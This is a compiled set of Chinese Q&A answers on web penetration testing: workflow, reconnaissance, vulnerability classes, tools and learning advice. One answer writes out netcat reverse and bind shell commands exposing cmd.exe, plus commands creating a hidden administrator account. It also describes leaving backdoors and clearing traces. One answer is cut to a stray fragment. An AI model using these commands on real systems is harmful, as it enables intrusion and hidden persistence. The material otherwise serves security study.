❶ web安全測試主要測試哪些內容
一個完整的Web安全體系測試可以從部署與基礎結構,輸入驗證,身份驗證,授權,配置管理配置管理配置管理配置管理,敏感數據,會話管理,加密,參數操作,異常管理,審核和日誌記錄等幾個方面入手
❷ 如何進行Web滲透測試
什麼是滲透測試?
滲透測試,是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標網路、主機、應用的安全作深入的探測,發現系統最脆弱的環節。
如何進行Web滲透測試?
完整web滲透測試框架當需要測試的web應用數以千計,就有必要建立一套完整的安全測試框架,流程的最高目標是要保證交付給客戶的安全測試服務質量。
1、立項:項目建立,時間安排,人力分配,目標制定,廠商介面人確定;
系統分析&威脅分析:針對具體的web應用,分析系統架構、使用的組件、對外提供的介面等,以STRIDE為威脅模型進行對應的安全威脅分析,輸出安全威脅分析表,重點關注top3威脅;
制定測試用例:根據威脅分析的結果制定對應的測試用例,測試用例按照模板輸出,具備可執行性;
測試執行&漏洞挖掘:測試用例執行&發散測試,挖掘對應的安全問題or漏洞;
問題修復&回歸測試:指導客戶應用開發方修復安全問題or漏洞,並進行回歸測試,確保安全問題or漏洞得到修復,並且沒有引入新的安全問題;
項目總結評審:項目過程總結,輸出文檔評審,相關文檔歸檔。
2、Web應用的滲透測試流程
主要分為3個階段,分別是:信息收集→漏洞發現→漏洞利用,下面仔細分析一下各個階段流程:
一、信息收集
在信息收集階段,我們需要盡量多的收集關於目標web應用的各種信息,比如:腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面,用到的框架等
腳本語言的類型:常見的腳本語言的類型包括:php、asp、aspx、jsp等
測試方法:
1 爬取網站所有鏈接,查看後綴
2 直接訪問一個不存在頁面後面加不同的後綴測試
3 查看robots.txt,查看後綴
伺服器的類型:常見的web伺服器包括:apache、tomcat、IIS、ngnix等
測試方法:
1 查看header,判斷伺服器類型
2 根據報錯信息判斷
3 根據默認頁面判斷
目錄的結構:了解更多的目錄,可能發現更多的弱點,如:目錄瀏覽、代碼泄漏等。
測試方法
1 使用字典枚舉目錄
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
使用的開源軟體:我們如果知道了目標使用的開源軟體,我們可以查找相關的軟體的漏洞直接對網站進行測試。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
資料庫類型:對於不同的資料庫有不同的測試方法。
測試方法
1 使應用程序報錯,查看報錯信息
2 掃描伺服器的資料庫埠(沒做NAT且防火牆不過濾時有效)
所有鏈接頁面:這個跟前面的獲取目錄結構類似,但是這個不只是獲取網站的所有功能頁面,有時候還可以獲取到管理員備份的源碼。
測試方法
1 使用字典枚舉頁面
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
用到的框架:很多網站都利用開源的框架來快速開發網站,所以收集網站的框架信息也是非常關鍵的。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯,不能盲目的去掃描,首先要確定目標應用是否使用的是公開的開源軟體,開源框架等、然後在做深一度的漏洞掃描。
關於開源軟體的漏洞發現
開源的軟體:常見的開源軟體有wordpress、phpbb、dedecms等
開源的框架:常見的開源框架有Struts2、 Spring MVC、ThinkPHP等
中間件伺服器:常見的中間件伺服器有jboss、tomcat、Weblogic等
資料庫服務:常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
對於開源軟體的測試方法
1 通過指紋識別軟體判斷開源軟體的版本信息,針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試
2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作
3 使用開源的漏洞發現工具對其進行漏洞掃描,如:WPScan
關於自主開發的應用
手動測試:這個階段,我們需要手工測試所有與用戶交互的功能,比如:留言、登入、下單、退出、退貨、付款等操作
軟體掃描:使用免費的軟體掃描,如:appscan、wvs、netsparker,burp等
可能存在的漏洞
Owasp關鍵點
代碼安全之上傳文件
代碼安全之文件包含
代碼安全之SSRF
邏輯漏洞之密碼重置
邏輯漏洞之支付漏洞
邏輯漏洞之越權訪問
平台安全之中間件安全
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式,需要的知識點也比較多。一般這個階段包括兩種方式,一種是手工測試,一種是工具測試
手工測試
手工測試是通過客戶端或伺服器訪問目標服務,手工向目標程序發送特殊的數據,包括有效的和無效的輸入,觀察目標的狀態、對各種輸入的反應,根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具,可由測試者獨立完成,實現起來比較簡單。但這種方法高度依賴於測試者,需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。
這種方式對於有特殊過濾等操作,或者網路上沒有成型的利用工具的時候可以使用。
工具測試
網路上有很多好用的免費利用工具,比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。
❸ 新手想要學web滲透,網路安全,要如何開始
首先想想是不是真心想學,這條路註定孤獨寂寞,不斷碰壁。
想好後,就要每天堅持。
我的一些建議:每天多任務進行,比如早上兩小時看英語學習,之後看語言,(C語言之後python之後php),下午看些網路上的滲透資料,晚上實踐,等到資料看完。可以開始看看滲透博客,然後下午晚上自由分配
❹ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
❺ 滲透測試學習些啥呀
滲透測試需要的基礎技能必須有網路基礎、編程基礎、資料庫基礎、操作系統等基本技能。學習的話可以從html、css、js、編程語言、協議包分析、網路互聯原理、資料庫語法等進入,學習了這些基礎技能之後,就可以進行滲透測試的深入學習了,如web方面的學習OWASP TOP 10漏洞挖掘、主機系統服務漏洞檢測、App漏洞檢測、內網滲透等方面,最後當然是能夠編寫滲透測試報告啦。
❻ Web 安全與滲透測試工程師應該學習哪些知識,他學習的內容知識流程是怎樣的
1">
❼ 幾乎零基礎,想從基礎學習滲透測試該如何進行
這個要根據個人的實際情況來決定的,比如你先要去了解什麼是滲透測試:
1、滲透測試屬於信息安全行業,准確的說是網路計算機/IT行業
2、現在你知道了它的行業屬性,那麼你是否具備一些這個行業的知識呢?
3、具備的話學習起來比較簡單,直接去學習滲透測試實戰就行,不具備接著往下看
4、現在知道它行業屬性,你大概就能清楚需要些什麼樣的基礎知識了;下面是我從非計算機網路相關專業的同學想要學習滲透測試必須掌握的知識。
5、前期入門大概需要掌握或者說了解以下知識點:
1)了解基本的網路知識,例如什麼是IP地址(63.62.61.123)去掉點是扣扣學習群,IP地址的基本概念、IP段劃分、什麼是A段、B段、C段等2)廣域網、區域網、相關概念和IP地址劃分范圍。
3)埠的基本概念?埠的分類?
4)域名的基本概念、什麼是URL、了解TCP/IP協議、
5)了解開放式通信系統互聯參考模型(OSI)
6)了解http(超文本傳輸協議)協議概念、工作原理
7)了解WEB的靜態頁面和WEB動態頁面,B/S和C/S結構
8)了解常見的伺服器、例如、Windows server2003、Linux、UNIX等
9)了解常見的資料庫、MySQL、Mssql、、Access、Oracle、db2等
10)了解基本的網路架構、例如:Linux + Apache + MySQL + php
11)了解基本的Html語言,就是打開網頁後,在查看源碼裡面的Html語言
12)了解一種基本的腳本語言、例如PHP或者asp,jsp,cgi等
然後你想學習入門,需要學習以下最基礎的知識:
1、開始入門學習路線
1)深入學習一種資料庫語言,建議從MySQL資料庫或者SQL Server資料庫、簡單易學且學會了。
其他資料庫都差不多會了。
2)開始學習網路安全漏洞知識、SQL注入、XSS跨站腳本漏洞、CSRF、解析漏洞、上傳漏洞、命令執行、弱口令、萬能密碼、文件包含漏洞、本地溢出、遠程溢出漏洞等等
)工具使用的學習、御劍、明小子、啊D、穿山甲(Pangolin)、Sqlmap、burpsuite抓包工具等等
2、Google hacker 語法學習
3、漏洞利用學習、SQL注入、XSS、上傳、解析漏洞等
4、漏洞挖掘學習
5、想成為大牛的話、以上都是皮毛中的皮毛,但前提是以上的皮毛都是最基礎的。
6、Linux系統命令學習、kali Linux 裡面的工具學習、Metesploit學習
7、沒事多逛逛安全論壇、看看技術大牛的文章、漏洞分析文章等
❽ WEB伺服器安全滲透性測試方案
http://hi..com/zh2089/blog/category/%B1%BE%C8%CB%D4%AD%B4%B4
本人博客的幾篇原創文章,裡面有一些實例,LZ覺得可以的話請給最佳答案
❾ 滲透測試需要學那些知識
web黑客滲透測試入門需要學哪些?
學習web滲透,就是從零散到整體。我們入門門檻比較低,學會用工具就可以了。但是從入門到另一個層次就比較難了,也是大部分腳本小子迷茫的地方。
在web滲透的核心那就是思路,大量的思路來源是來自於自己的知識積累和豐富的經驗。 學而不思則罔思而不學則殆。
當我找到了一個注入點:
首先放進工具一點,工具提示不存在注入。很奇怪,明明是存在的,發個某大牛,某大你不想說話並向你扔了個鏈接,你發現居然爆出了帳號密碼。
太多的人都是處於這個超級小白階段,這個階段處於菜鳥階段,我稱為打哪是哪。
我來問問:
brup suite你會用?你會用來做什麼,爆破?你知道怎麼抓包分析post注入嗎?你知道繞過上傳時brup suite的神奇之處嗎?
sqlmap 你會用?你會用來做什麼,-u?-dbs?你知道怎麼在sqlmap中執行sql語句嗎?你知道sqlmap怎麼反彈shell嗎?
xss 你都懂?你知道xss平台那麼多模塊都有什麼妙用嗎?你知道尖括弧過濾都有哪些繞過方式嗎?
入門學習思考 可能遇到的問題 和新手需知:
你知道svn源代碼泄露是什麼?通過審計代碼能做到什麼嗎?
你知道在發現st2漏洞命令執行時出現目錄限制的時候怎麼突破嗎?有多少種方式可以突破,在什麼樣的場景下容易出現,如果有殺軟怎麼繞過嗎?
你知道在3306允許外鏈的情況下可以爆破嗎?你以為掃描器會把埠的風險都列出來給你嗎?
你知道一個縝密的郵箱偽造&社工可能就能導致網站淪陷嗎?
你知道遇到weblogic等弱口令的時候如何去部署war拿shell嗎?
你知道各種java中間件的埠是哪些嗎?各種反序列化漏洞是怎麼樣快速定位資料庫配置文件的嗎?
你知道http://ASP.NET填充Oracle漏洞的利用方法嗎?你知道掃描器都是誤報嗎?你知道手工怎麼測試漏洞真實存在嗎?
你知道oa系統都有哪些通用注入和無限制getshell嗎?
你知道phpmyadmin可以爆破嗎?什麼樣的版本可以爆路徑,什麼樣的版本幾乎拿不到shell嗎?
太多太多了,我上面提到的也只是web方面的冰山一角,後面的提權、內網等等難題如海。
❿ 如何系統學習web安全,web滲透測試
首先得清楚web安全/web滲透是什麼:模擬黑客攻擊,利用黑客技術,挖掘漏洞,提出修復建議。
涉及到的技術有:資料庫/網路技術/編程技術/操作系統/滲透技術/攻防技術/逆向技術/SRC漏洞平台/ctf經驗。。
崗位能力要求:
1、熟練使用awvs、nessus、metasploit、burpsuite等安全測試工具,並對其原理有一定了解
2、熟悉OWASP中常見的web安全漏洞、業務邏輯漏洞及其原理
3、熟悉滲透測試技術的整體流程,具備獨立開展滲透工作的能力;
4、熟悉linux系統操作,了解常見web中間件、資料庫、伺服器相關漏洞
5、至少掌握一種編程語言,能夠開發用於輔助日常工作的腳本
6、具備一定的php或java代碼審計能力,能夠對公開漏洞進行分析
7、具備良好的邏輯思維、溝通技巧及團隊協作能力
8、已取得信息安全等級測評師證書的優先。(NISP)
想要系統的學習web滲透,可以參考企業對人才的要求進行學習。